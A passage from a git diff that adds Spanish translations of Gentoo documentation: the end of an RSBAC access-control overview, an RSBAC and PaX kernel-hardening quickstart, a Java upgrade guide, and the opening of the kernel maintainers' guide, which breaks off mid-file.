+El paquete estándar incluye algunos modelos de control de acceso como
+MAC, RC o ACL (vea más abajo). Además, la utilidad de registro en
+caliente (REG) facilita la implementación de sus propios modelos de
+control de acceso como módulos del núcleo y su registro en caliente.
+</p>
+
+<p>
+La estructura RSBAC está basada en
+la <uri link="http://www.acsac.org/secshelf/book001/09.pdf">Estructura
+Generalizada para el Control de Acceso (GFAC)</uri> de Abrams y
+LaPadula. Todas las llamadas de sistema relevantes para la seguridad
+han sido extendidas mediante código de aplicación de seguridad. Este
+código llama al componente central de decisión, que a su vez llama a
+todos módulos de decisión activos y generan una decisión
+conjunta. Esta decisión se aplica entonces mediante las extensiones a
+las llamadas de sistema.
+</p>
+
+<p>
+Las decisiones se basan en el tipo de acceso (tipo de petición), el
+motivo del acceso, en los valores de los atributos del sujeto que
+solicita acceso y el objetivo al que se accede. Algunos módulos pueden
+usar atributos independientes adicionales, p.e. el módulo de
+privacidad (<uri link="#doc_chap3_sect4">PM</uri>). Todos los
+atributos se guardan en directorios totalmente protegidos, uno por
+dispositivo montado. Por tanto cualquier cambio en un atributo
+requiere llamadas de sistema especiales.
+</p>
+
+<p>
+Todos los tipos de acceso de red pueden ser controlados
+individualmente para todos los usuarios y programas. Esto le da un
+control completo sobre el comportamiento de su red y hace que los
+accesos de red no deseados sean más fáciles de prever y detectar.
+</p>
+
+<p>
+Como todas las decisiones sobre tipos de acceso están basadas en
+peticiones de decisiones generales, se pueden implementar muchas
+políticas de seguridad diferentes como módulo de decisión. Aparte de
+los módulos integrados que se explican más abajo, el módulo opcional
+Módulo de Registro (REG) permite el registro de módulos adicionales de
+decisión en caliente.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Módulos implementados</title>
+<section>
+<body>
+
+<p>
+Los siguiente módulos están incluidos en la versión 1.2.5 de
+RSBAC. Tenga en cuenta que todos los módulos son opcionales.
+</p>
+</body>
+</section>
+
+<section>
+<title>MAC</title>
+<body>
+<p>
+Bell-LaPadula Mandatory Access Control (Control de Acceso Obligatorio
+de Bell-LaPadula).
+</p>
+</body>
+</section>
+
+<section>
+<title>UM</title>
+<body>
+<p>
+La administración de usuarios (User Management) en RSBAC se hace a
+través del núcleo y complementa o incluso substituye a la que hace el
+propio subsistema de Linux. La administración de usuarios se aplica
+con flexibilidad y granularidad.
+</p>
+</body>
+</section>
+
+<section>
+<title>PM</title>
+<body>
+<p>
+Privacy Model (Modelo de Privacidad). Es la primera implementación del
+Modelo de privacidad
+de <uri link="http://www.cs.kau.se/~simone/">Simone
+Fischer-Huebner</uri>. Puede consultar
+el <uri link="http://rsbac.org/doc/media/niss98.php">documento de
+RSBAC sobre la implementación del Modelo de Privacidad</uri> para la
+Conferencia Nacional de Información sobre Sistemas de Seguridad (NISSC
+98).
+</p>
+</body>
+</section>
+
+<section>
+<title>Dazuko</title>
+<body>
+<p>
+Dazuko no es realmente un modelo de control de acceso, sino más bien
+un módulo de protección del sistema contra malware. Puede prevenir la
+lectura y ejecución de archivos infectados por malware.
+</p>
+</body>
+</section>
+
+<section>
+<title>FF</title>
+<body>
+<p>
+File Flags (Banderas de Archivos). Proporciona y usa banderas para
+archivos y directorios, actualmente son la siguientes: sólo ejecución
+(execute_only, archivos), sólo lectura (read_only, archivos y
+directorios), sólo búsqueda (search_only, directorios), borrado seguro
+(secure_delete, archivos), no ejecutar (no_execute, archivos), añadir
+herencia (add_inherited, archivos y directorios), no renombrar ni
+borrar (no_rename_or_delete, archivos y directorios, no es heredable)
+y sólo añadir (archivos y directorios). Sólo los oficiales de
+seguridad FF pueden modificar estas banderas.
+</p>
+</body>
+</section>
+
+<section>
+<title>RC</title>
+<body>
+<p>
+Role Compatibility (Compatibilidad con Roles). Define roles y tipos
+para cada tipo de objetivo (archivo, directorio, dispositivo, ipc,
+scd, proceso). Se puede definir la compatibilidad de cada rol con
+todos los tipos y otros roles individualmente y con la granularidad
+requerida. Hay una fina separación de funciones para la
+administración. Los derechos otorgados tienen límite de
+tiempo. Consulte, por favor, el <uri
+link="http://rsbac.org/doc/media/rc-nordsec2002/index.html">Documento
+Nordsec 2002 RC</uri> para una descripción detallada del diseño y la
+especificación del modelo.
+</p>
+</body>
+</section>
+
+<section>
+<title>AUTH</title>
+<body>
+<p>
+Aplicación de la autorización. Controla toda las peticiones de cambio
+de propietario (CHANGE_OWNER) para procesos objetivos, sólo los
+programas/procesos con permiso para hacer setuid y aquellos con una
+capacidad para el ID del usuario objetivo pueden hacer setuid. Las
+capacidades pueden ser controladas por otros programas/procesos,
+p.e. demonios de autentificación.
+</p>
+</body>
+</section>
+
+<section>
+<title>ACL</title>
+<body>
+<p>
+Access Control Lists (Listas de Control de Acceso). Hay una lista de
+control de acceso para cada objeto en la que se definen qué sujetos
+pueden acceder al objeto y con qué tipo de peticiones. Los sujetos
+pueden ser de tipo usuario, rol RC, y grupo ACL. Los objetos se
+agrupan por su tipo de objetivo pero tienen ACLs individuales. Si no
+hay una entrada en una ACL para un sujeto respecto a un objeto, se
+heredan los derechos de los objetos padre restringidos por una máscara
+de herencia. Los derechos directos (usuario) e indirectos (rol, grupo)
+se acumulan. Hay una ACL predeterminada por cada tipo de objeto en lo
+más alto de la jerarquía. Se añadió la administración de grupos en la
+versión 1.0.9a.  Los derechos otorgados y la pertenencia a grupos
+pueden tener limitación de tiempo.
+</p>
+</body>
+</section>
+
+<section>
+<title>CAP</title>
+<body>
+<p>
+Linux Capabilities (Capacidades Linux). Se pueden definir un conjunto
+mínimo y máximo de capacidades Linux ("conjunto de derechos especiales
+de root") para todos los usuarios y programas. Esto le permite,
+p.e. ejecutar servicios como un usuario normal o restringir derechos a
+los programas root de la manera estándar en Linux.
+</p>
+</body>
+</section>
+
+<section>
+<title>JAIL</title>
+<body>
+<p>
+Process Jails (Jaula de Procesos). Este módulo añade una nueva llamada
+de sistema rsbac_jail, que es básicamente un superconjunto de la
+llamada de sistema jail de FreeBSD. Esta llamada encapsula al proceso
+solicitante y todos sus subprocesos en un entorno chroot con una IP
+fija y muchas restricciones adicionales.
+</p>
+</body>
+</section>
+
+<section>
+<title>RES</title>
+<body>
+<p>
+Linux Resources (Recursos de Linux). Se Pueden definir un conjunto
+mínimo y máximo de recursos de Linux (p.e tamaño de memoria, número de
+archivos abiertos, número de procesos por usuario) para cada usuario y
+para cada programa.  Internamente, estos conjuntos se aplican a las
+señalizaciones estándar de recursos de Linux.
+</p>
+</body>
+</section>
+
+<section>
+<body>
+<p>
+Todos los módulos de decisión se describen detalladamente en la página
+de descripción de módulos.
+</p>
+
+<p>
+Un objetivo general del diseño de RSBAC ha sido alcanzar algún día el
+nivel B1 del (obsoleto) Libro Naranja (TCSEC).
+</p>
+</body>
+</section>
+</chapter>
+</guide>
+
diff --git a/xml/htdocs/proj/es/hardened/rsbac/quickstart.xml b/xml/htdocs/proj/es/hardened/rsbac/quickstart.xml
new file mode 100644
index 00000000..2d44c15b
--- /dev/null
+++ b/xml/htdocs/proj/es/hardened/rsbac/quickstart.xml
@@ -0,0 +1,429 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/hardened/rsbac/quickstart.xml" lang="es">
+
+<title>
+Guía de Inicio Rápido de RSBAC (Rule Set Based Access Control) para
+Linux
+</title>
+
+<author title="Autor">
+  <mail link="albeiro@gentoo.pl">Michal Purzynski</mail>
+</author>
+<author title="Editor">
+  <mail link="kang@gentoo.org">Guillaume Destuynder</mail>
+</author>
+<author title="Traductor">
+  <mail link="jgascon@gmail.com">Jaime Gascón Romero</mail>
+</author>
+
+<abstract>
+Este documento le guiará a través de la instalación de RSBAC en Gentoo
+Linux.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license
+--> <!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>1.7</version>
+<date>2006-02-15</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<body>
+
+<p>
+Esta guía le ayudará a instalar RSBAC en Gentoo Linux. Se asume que
+los lectores ya han leído la <uri link="intro.xml">Introducción</uri>
+y la <uri link="overview.xml">Vista general</uri>, así que ya conocen
+RSBAC y sus conceptos principales.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instalación de un núcleo con soporte RSBAC</title>
+<section>
+<title>Instalación de un núcleo RSBAC</title>
+<body>
+
+<p>
+Este paso es bastante simple gracias al sistema de instalación de
+núcleos de Gentoo. Empiece por hacer un emerge del núcleo
+rsbac-sources.
+</p>
+
+<note>
+Hay dos núcleos rsbac-sources disponibles: uno pertenece a la rama del
+núcleo 2.4 y el otro a la nueva rama 2.6.
+</note>
+
+<pre caption="Instalación del nucleo RSBAC (usando el perfil 'default' y un
+núcleo 2.6)">
+# <i>emerge rsbac-sources</i>
+</pre>
+
+<pre caption="Instalación del nucleo RSBAC (usando un núcleo 2.4, en el perfil
+Gentoo 2005.0)">
+# <i>rm /etc/make.profile</i>
+# <i>ln -s /usr/portage/profiles/default-linux/x86/2005.0/2.4/ /etc/make.profile</i>
+# <i> echo "sys-kernel/hardened-sources rsbac" >> /etc/portage/package.use</i>
+# <i>emerge hardened-sources</i>
+</pre>
+
+<impo>
+Se aconseja habilitar el modo softmode en el primer núcleo RSBAC que
+compile.  Esto le permitirá deshabilitar la aplicación de RSBAC
+reiniciando la máquina, por si quiere probarlo o en caso de que algo
+haya ido mal. Desactive este modo sólo cuando esté seguro de lo que
+está haciendo o, por supuesto, en un núcleo en producción.
+</impo>
+</body>
+</section>
+
+<section>
+<title>Configuración del núcleo RSBAC</title>
+<body>
+
+<p>
+Ahora vamos a configurar el núcleo. Se recomienda que habilite la
+siguientes opciones en la categoría "Rule Set Based Access Control
+(RSBAC)":
+</p>
+
+<pre caption="Configurar y compilar el núcleo RSBAC">
+<comment>En "General RSBAC options"</comment>
+[*] RSBAC proc support
+[*] Check on init
+[*] Support transactions
+[*]   Randomize transaction numbers
+[*] RSBAC debugging support
+(400) RSBAC default security officer user ID
+
+<comment>En "User management"</comment>
+[*] User management
+<comment>Asegúrese de habilitar SHA1 bajo Crypto API en "Cryptographic options"
+de la sección general de configuración del núcleo, marque:
+[*]   SHA1 digest algorithm
+</comment>
+[*]     Use Crypto API Digest SHA1 (NEW)
+
+<comment>En "RSBAC networking options"</comment>
+[*] RSBAC network support
+[*]     Net device control
+[ ]         Treat virtual devices as individuals
+[*]         Individual network device logging
+[*]     Net object control (sockets)
+[*]         Control UNIX address family
+[*] Also intercept network object read and write
+[*]         Individual network object logging
+
+<comment>(No habilite "RSBAC Maintenance Kernel", use softmode en su lugar)
+</comment>
+
+<comment>En "Decision module (policy) options"</comment>
+[*] Support for Registration of decision modules (REG)
+[*]     Build REG sample modules
+----------------------------
+[*] RSBAC support for DAZuko policy <comment>(Para escaneo de malware y
+virus)</comment>
+DAZ Policy Options  --->
+     (604800)     Scanning result lifetime in seconds
+
+<comment>Por cada política/módulo que vaya a usar debe comprobar su protección
+para el módulo AUTH y el módulo de administración de usuarios (User
+Management).</comment>
+[*] RSBAC support for FF policy
+[*] RSBAC support for RC policy
+[*] RSBAC support for AUTH policy
+<comment>Por favor, deshabilite la opción de autoaprendizaje en sus núcleos en
+producción. Solo se usa cuando se prepara el sistema RSBAC.</comment>
+AUTH Policy Options  --->
+    [*]   AUTH learning mode support
+[*] RSBAC support for ACL policy
+[*] RSBAC support for Linux Caps (CAP) policy
+[*] RSBAC support for JAIL policy
+[*] RSBAC support for PAX policy
+[*] RSBAC support for System Resources (RES) policy
+
+<comment>En "Softmode and switching"</comment>
+[ ] RSBAC policies switchable
+[*] RSBAC soft mode <comment>(No marque esta opción en sus kernel en producción)</comment>
+[*]     Individual module softmode support
+
+<comment>En "Logging": todo excepto "Log to remote UDP network socket" a no ser
+que quiera enviar los archivos de log a otra máquina</comment>
+
+<comment>En "RSBAC symlink redirection"</comment>
+[*]   RSBAC symlink redirection
+[*]     Add remote IP address
+[*]       Add user ID number
+[*]       Add RC role number
+
+<comment>En "Other RSBAC options"</comment>
+[*] Intercept sys_read and sys_write
+[*] Intercept Semaphore IPC operations
+[*] Control DAC process owner (seteuid, setfsuid)
+[*] Hide processes in /proc
+[*] Support freezing of RSBAC configuration
+[*] RSBAC check sys_syslog
+</pre>
+
+<note>
+Si tiene pensado ejecutar un servidor gráfico (p.e. X.org o XFree86),
+habilite también, <c>"[*] X support (normal user MODIFY_PERM access to
+ST_ioports)"</c>. Por favor, lea también <uri
+link="http://www.gentoo.org/proj/en/hardened/hardenedxorg.xml">Usando
+Xorg en Gentoo Hardened</uri>
+</note>
+
+<p>
+Ahora configuraremos PaX que es un complemento del núcleo RSBAC. Se
+recomienda que habilite las siguientes opciones en la sección
+"Security options ---> PaX":
+</p>
+
+<pre caption="Configurar las opciones PaX del núcleo">
+[*] Enable various PaX features
+PaX Control  --->
+    [*] Support soft mode <comment>(Deshabilite esta opción en un
+núcleo en producción)</comment>
+    [ ] Use legacy ELF header marking
+    [ ] Use ELF program header marking
+        Use ELF program header marking MAC system integration (direct)  --->
+        (X) hook
+
+Non-executable pages  --->
+    [*] Enforce non-executable pages (NEW)
+    [*]   Paging based non-executable pages
+<comment>(Normalmente querrá el método PAGEEXEC en x86 en versiones recientes de
+PaX, vuelva a SEGMEXEC si tiene problemas)</comment>
+    [*]   Segmentation based non-executable pages (NEW)
+    [*] Restrict mprotect()
+    [ ]   Disallow ELF text relocations <comment>(Por ahora, esta opción da
+problemas con muchas aplicaciones)</comment>
+
+Address Space Layout Randomization  --->
+    [*] Address Space Layout Randomization
+    [*]   Randomize user stack base
+    [*]   Randomize mmap() base
+</pre>
+
+<note>
+Visite el sitio de <uri link="http://pax.grsecurity.net">PaX</uri>
+para más información.
+</note>
+
+<note>
+Debe usar las herramientas de administración de RSBAC para manejar PaX
+en lugar de chpax o paxctl en su núcleo RSBAC. Con estas herramientas
+podrá cambiar los objetos PaX y configurar las banderas PaX.
+</note>
+
+<pre caption="Manejar las banderas PaX">
+# <i>rsbac_fd_menu /ruta/al/objeto</i>
+o
+# <i>attr_set_file_dir FILE /ruta/al/objeto pax_flags [pmerxs]</i>
+</pre>
+
+<p>
+Ahora puede compilar e instalar el núcleo cómo lo haría con uno normal
+tras configurar el resto de opciones.
+</p>
+
+<impo>
+Se aconseja encarecidamente compilar un segundo kernel sin las
+opciones softmode y AUTH para usarlo en un ambiente en
+producción. Sólo haga esto cuando haya terminado de probar y
+configurar las políticas, ya que elimina la posibilidad de desactivar
+el sistema de control de acceso.
+</impo>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instalación de las utilidades de administración de RSBAC
+</title>
+<section>
+<body>
+
+<p>
+Se necesitan algunas utilidades de espacio de usuario para administrar
+su Gentoo RSBAC. Éstas se incluyen en el paquete rsbac-admin y es
+necesario instalarlas.
+</p>
+
+<pre caption="Insatalar las utilidades de administración de RSBAC">
+# <i>emerge rsbac-admin</i>
+</pre>
+
+<p>
+Una vez instaladas, el paquete habrá creado una nueva cuenta de
+usuario en su sistema (secoff, con uid 400). Él será el administrador
+de seguridad durante el primer arranque. Éste es el único usuario que
+puede cambiar la configuración de RSBAC. Normalmente se le llama
+Oficial de Seguridad.
+</p>
+
+<impo>
+Por favor, cree una contraseña <e>segura</e> para el usuario secoff.
+</impo>
+
+<pre caption="Crear contraseña para el Oficial de Seguridad">
+# <i>passwd secoff</i>
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Primer arranque</title>
+<section>
+<body>
+
+<p>
+Durante el primer arranque no se puede entrar en el sistema ya que el
+módulo AUTH <e>restringe</e> los privilegios de los programas. Para
+solventar este problema arranque, por favor, en softmode usando el
+siguiente parámetro del núcleo (en su configuración de lilo o grub):
+</p>
+
+<pre caption="Softmode kernel parameter">
+<i>rsbac_softmode</i>
+</pre>
+
+<p>
+La aplicación login controla la entrada de usuarios al
+sistema. Necesita derechos para usar setuid, y ahora se los daremos:
+</p>
+
+<p>
+Entre como Oficial de Seguridad (secoff) y permita las entradas al
+sistema usando la siguiente orden:
+</p>
+
+<pre caption="Permitir la entrada a los usuarios">
+# <i>rsbac_fd_menu /bin/login</i>
+o
+# <i>attr_set_fd AUTH FILE auth_may_setuid 1 /bin/login</i>
+</pre>
+
+<p>
+Como alternativa, si no está habilitado softmode, puede usar el
+siguiente parámetro del kernel para permitir la entrada al sistema
+durante el arranque:
+</p>
+
+<pre caption="Permitir la entrada de usuarios con un parámetro del
+kernel">
+<i>rsbac_auth_enable_login</i>
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>El módulo AUTH y su modo de aprendizaje</title>
+<section>
+<title>Crear una política para OpenSSH</title>
+<body>
+
+<p>
+Como no hay ninguna política configurada todavía (excepto las
+generadas durante el primer arranque), el módulo AUTH no permite los
+cambios de uid.
+</p>
+
+<p>
+Gracias al inteligente modo de aprendizaje hay una manera sencilla de
+paliar este nuevo problema: el módulo AUTH puede automágicamente
+generar la política necesaria vigilando los servicios durante el
+arranque y anotando los uids a los que intentan cambiar. Por ejemplo,
+para enseñar al módulo AUTH sobre los uids que necesita sshd (el
+demonio OpenSSH), haga lo siguiente:
+</p>
+
+<impo>
+Asegúrese de que el demonio sshd o el que usted quiera que use el modo
+de aprendizaje no se está ejecutando antes de habilitar el modo de
+aprendizaje.
+</impo>
+
+<pre caption="Crear una política para sshd usando el modo de aprendizaje">
+<comment>Habilite el modo de aprendizaje para sshd</comment>
+# <i>attr_set_file_dir AUTH FILE `which sshd` auth_learn 1</i>
+
+<comment>Arranque el servicio</comment>
+# <i>/etc/init.d/sshd start</i>
+
+<comment>Deshabilite el modo de aprendizaje</comment>
+# <i>attr_set_file_dir AUTH FILE `which sshd` auth_learn 0</i>
+</pre>
+
+<note>
+Debe entrar en el sistema antes de deshabilitar el modo de aprendizaje
+ya que sshd intentará cambiar su uid cuando entre el usuario.
+</note>
+
+<p>
+Ahora sshd ya funciona otra vez como se esperaba, <e>felicidades</e>,
+acaba de crear su primera política :) Se puede usar el mismo
+procedimiento con los demás demonios que necesite.
+</p>
+
+<note>
+Como alternativa a habilitar el modo de aprendizaje para cada demonio
+o aplicación que vaya a necesitar, también puede habilitar el modo de
+aprendizaje global (que aprende de cualquier cosa que se ejecute
+globalmente, como su nombre indica).
+</note>
+
+<p>
+Puede habilitar el modo de aprendizaje global mediante este parámetro del
+kernel durante el arranque:
+</p>
+
+<pre caption="Habilitar el modo de aprendizaje global">
+<i>rsbac_auth_learn</i>
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Información adicional</title>
+<section>
+<body>
+
+<p>
+También se recomienda encarecidamente que se suscriba a la <uri
+link="http://www.gentoo.org/main/en/lists.xml">lista de correo de
+gentoo-hardened</uri>. Es una lista con poco tráfico y los anuncios
+RSBAC para Gentoo se hacen aquí. También le recomendamos suscribirse a
+la <uri link="http://rsbac.org/mailman/listinfo/rsbac/">lista de
+correo de RSBAC</uri>.  Por favor, consulte también la <uri
+link="http://www.gentoo.org/proj/en/hardened/hardenedfaq.xml">FAQ de
+hardened</uri> ya que sus preguntas pueden haber sido resueltas en
+este documento.
+</p>
+
+<table>
+<tr>
+  <ti>Enlaces:</ti>
+  <ti><uri link="http://www.rsbac.org">Sitio oficial de RSBAC</uri></ti>
+</tr>
+<tr>
+  <ti>Canales de IRC:</ti> <ti><uri
+link="irc://irc.freenode.org/gentoo-hardened">#gentoo-hardened</uri></ti>
+  <ti><uri link="irc://irc.freenode.org/rsbac">#rsbac</uri></ti>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/java/java-upgrade.xml b/xml/htdocs/proj/es/java/java-upgrade.xml
new file mode 100644
index 00000000..1e0c8514
--- /dev/null
+++ b/xml/htdocs/proj/es/java/java-upgrade.xml
@@ -0,0 +1,254 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/java/java-upgrade.xml,v 1.3 2010/05/24 19:50:21 nimiux Exp $ -->
+
+<guide link="/proj/es/java/java-upgrade.xml" lang="es">
+
+<title>Guía Gentoo de actualización de Java</title>
+
+<author title="Autor">
+  <mail link="nichoj@gentoo.org">Joshua Nichols</mail>
+</author>
+<author title="Autor">
+  <mail link="kartk@gentoo.org">Karl Trygve Kalleberg</mail>
+</author>
+<author title="Editor">
+  <mail link="nightmorph@gentoo.org">Josh Saddler</mail>
+</author>
+<author title="Traductor">
+  <mail link="jesus.riveroa@gmail.com">Jesús Rivero</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+
+<abstract>
+Esta guía muestra cómo actualizar Java a la nueva generación de Java
+en Gentoo, además de mostrar algunos conceptos y herramientas
+relacionadas.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2008-08-25</date>
+
+<chapter>
+<title>Introducción</title>
+
+<section>
+<body>
+<p>
+Hola y bienvenidos. Puede que se esté preguntado '¿Por qué quisiera
+actualizar mi Java?' O quizás ¿comenzó el proceso de actualización y
+fue redirigido a esta página por un error durante el proceso?. Sin
+importar cuál sea el caso, el propósito de este documento es ayudarle
+durante la actualización al nuevo sistema Java. ¡Ah!, pero ¿qué es
+esto del nuevo sistema Java?
+</p>
+</body>
+</section>
+
+<section>
+<title>El nuevo sistema Java</title>
+<body>
+
+<p>
+Para aquellos que no están familiarizados con el nuevo sistema Java,
+he aquí una lista de nuevas características:
+</p>
+
+<ul>
+  <li>Habilidad de cambiar la VM actual sobre la marcha</li>
+
+  <li>Los cambios al usuario y sistema VM se hacen efectivos de
+  inmediato y no están atados al ambiente de la consola. (ej. no mas
+  env-update &amp;&amp; source /etc/profile luego de cambiar la
+  VM)</li>
+
+  <li>Se introduce el concepto 'VM de compilación' que es utilizada
+  para hacer emerge de paquetes, y es independiente de la VM del
+  sistema.</li>
+
+  <li>Para cada versión de Java, ej. 1.3, 1.4, 1.5, etc. la 'VM de
+  compilación' puede ser configurada para especificar que fabricante y
+  versión de VM se utilizará.</li>
+
+  <li>La VM al momento de ejecutar emerge será cambiada de acuerdo
+  tanto a su configuración como a las dependencias del paquete. Por
+  ejemplo, algunos paquetes no compilarán con 1.5. En estos casos una
+  VM 1.4 será utilizada al construir el paquete.</li>
+
+  <li>Los paquetes Java que se compilan utilizando ant reescribirán su
+  build.xml al momento de ser construidos para asegurar que la versión
+  correcta del bytecode de Java sea compilado.</li>
+
+  <li>Java 1.5 ahora está desenmascarado luego de haber estado en
+  package.unmask por algún tiempo.</li>
+
+  <li>Java 1.6 estará disponible al momento en que sea liberado.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Terminología / Conceptos</title>
+<body>
+
+<p>
+Ahora que tiene una idea de en qué se está metiendo ... aquí hay algunos
+términos y conceptos que pueden resultar útiles antes de comenzar.
+</p>
+
+<dl>
+  <dt>Generación</dt>
+  <dd>
+    Es un nuevo concepto. Una generación es un conjunto de
+    herramientas y eclasses para construir paquetes Java. Cuando
+    comience la migración la generación existente hacia una nueva,
+    ambas generaciones coexistirán en su sistema y en el árbol de
+    portage. Por ejemplo, tendrá una VM para la Generación 1 <e>y</e>
+    una VM para la Generación 2. Al hacer esto, los paquetes que
+    utilicen ambas generaciones, Generación 1 y Generación 2, podrán
+    coexistir mientras se migra a la nueva generación.
+  </dd>
+
+  <dt>Generación 1</dt>
+  <dd>
+    La Generación 1 consiste en eclasses existentes (java-pkg,
+    java-utils y java) y <c>java-config-1.</c> La Generación 1 es un
+    sistema legacy que está siendo eliminado.
+  </dd>
+
+  <dt>Generación 2</dt>
+  <dd>
+    La Generación 2 consiste en nuevas eclasses (java-pkg-2,
+    java-pkg-opt-2, java-ant-2 y java-utils-2) y en la nueva versión
+    de java-config. Esta es la Generación a la que se quiere
+    migrar.
+  </dd>
+
+  <dt>VM de Sistema para la Generación 1</dt>
+  <dd>
+    Esta es la VM que se utilizará para hacer emerge de paquetes Java
+    utilizando las eclasses de la Generación 1. Se puede configurar
+    utilizando el comando <c>java-config-1 --set-system-vm &lt;versión
+    de VM&gt;</c>
+  </dd>
+
+  <dt>VM de Sistema para la Generación 2</dt>
+  <dd>
+    La VM de sistema para la Generación 2 sólo es utilizada por root y
+    por aquellos usuarios que no han configurado una VM.
+  </dd>
+
+  <dt>VM de compilación para la Generación 2</dt>
+  <dd>
+    La Generación 2 introduce una nueva clase de VM. La VM de
+    compilación es utilizada al momento de construir e instalar
+    paquetes Java. Esta VM puede cambiar de acuerdo al paquete que
+    esta siendo instalado.  Por ejemplo, si un paquete compila sólo
+    utilizando la versión 1.4, una VM 1.4 será utilizada. La
+    configuración por defecto se puede establecer en
+    <path>/usr/share/java-config-2/config/jdk-defaults.conf</path>.
+    Adicionalmente se puede configurar la VM de compilación en
+    <path>/etc/java-config-2/build/jdk.conf</path>.
+  </dd>
+</dl>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Actualizando java-config</title>
+<section>
+<body>
+
+<p>
+Un nuevo paquete <c>java-config-wrapper</c> es bloqueado por una
+versión anterior de <c>java-config</c>, así que primero debería ser
+eliminado:
+</p>
+
+<pre caption="Eliminar versión anterior de java-config">
+# <i>emerge -C java-config</i>
+</pre>
+
+<p>
+Ahora la nueva versión de <c>java-config</c> puede ser instalada:
+</p>
+
+<pre caption="Instalando el nuevo java-config">
+# <i>emerge -1 "=java-config:0" "=java-config:2"</i>
+</pre>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Revisando el entorno</title>
+<section>
+<body>
+
+<p>
+Ahora proporcionamos un nuevo guión, <c>java-check-environment</c> y
+como su nombre indica revisa la salud del entorno Java en su sistema. Al
+ejecutarse, sugiere las acciones que deben ser empleadas para solucionar
+cualquier problema que pudiese surgir. Ahora ejecute:
+</p>
+
+<pre caption="Revisando el entorno">
+# <i>java-check-environment</i>
+</pre>
+
+<p>
+Si <c>java-check-environment</c> encuentra un problema se detendrá y
+le informará sobre el error y cómo solucionarlo. Siga las sugerencias
+dadas y vuelva a ejecutar java-check-environment hasta que no encuentre
+problemas adicionales.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Actualización ... completa!</title>
+<section>
+<body>
+
+<p>
+Si ha llegado a este punto, entonces ha actualizado satisfactoriamente
+al nuevo sistema Java. ¡Felicitaciones!
+</p>
+
+<p>
+Ahora que ha actualizado, quizás quiera nuestra documentación
+actualizada en:
+</p>
+
+<ul>
+ <li><uri link="/doc/es/java.xml">Guía de Usuarios</uri></li>
+ <li><uri link="java-devel.xml">Guía de Desarrolladores</uri></li>
+</ul>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problemas y Preguntas Comunes</title>
+<section>
+<body>
+
+<p>
+Para algunos problemas comunes en la actualización, el equipo de Java
+ha creado una página wiki <uri
+link="http://overlays.gentoo.org/proj/java/wiki/Common_Problems">aquí</uri>.
+Antes de buscar ayuda o reportar problemas en otro lugar, por favor visite
+esta página.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/kernel/maintenance.xml b/xml/htdocs/proj/es/kernel/maintenance.xml
new file mode 100644
index 00000000..13e8cabe
--- /dev/null
+++ b/xml/htdocs/proj/es/kernel/maintenance.xml
@@ -0,0 +1,995 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/doc/en/kernel-upgrade.xml,v
+
+1.16 2006/07/23 12:27:14 neysx Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/proj/es/kernel/maintenance.xml" lang="es">
+<title>Guía de los Mantenedores del Núcleo Linux Gentoo</title>
+<author title="Autor">
+  <mail link="dsd@gentoo.org">Daniel Drake</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+
+<abstract>
+Introducción a los procesos de mantenimiento del núcleo Gentoo
+</abstract>
+
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license
+ See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.2</version>
+<date>2008-11-19</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<body>
+
+<p>
+Esta guía pretende documentar los procesos usados en el mantenimiento del
+paquete central del núcleo de Gentoo, gentoo-sources. Está escrito con la
+esperanza de que ayudará a futuros colaboradores a participar en las tareas
+de mantenimiento.
+</p>
+
+<p>
+En el centro de gentoo-sources está genpatches: un conjunto de parches
+genérico diseñado para ser minimalista, independiente de Gentoo y accesible
+a otras distribuciones y proyectos. Por favor, asegúrese de que conoce
+adecuadamente genpatches antes de continuar: lea la <uri
+link="http://dev.gentoo.org/~dsd/genpatches/">página principal de
+genpatches</uri>.
+</p>
+
+<p>
+Este documento fue escrito por Daniel Drake, el líder del proyecto del
+núcleo. Las referencias a "mí" en este documento, se refieren a Daniel,
+pero, por favor no crea que éste es un proyecto de una sola persona. Otros
+miembros del equipo estarán gustosos de ayudarle igualmente.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Comenzando</title>
+
+<section>
+<title>Listas de correo</title>
+<body>
+
+<p>
+Por favor, suscríbase a la lista de correo
+<b>gentoo-kernel</b>. Instrucciones para la suscripción pueden encontrarse
+<uri link="http://www.gentoo.org/main/es/lists.xml">aquí</uri>, y los
+archivos pueden encontrarse <uri
+link="http://archives.gentoo.org/gentoo-kernel/">aquí</uri>. Esta lista
+tiene poca actividad. Anunciaré la modificaciones a este documento en esta
+misma lista.
+</p>
+
+<p>
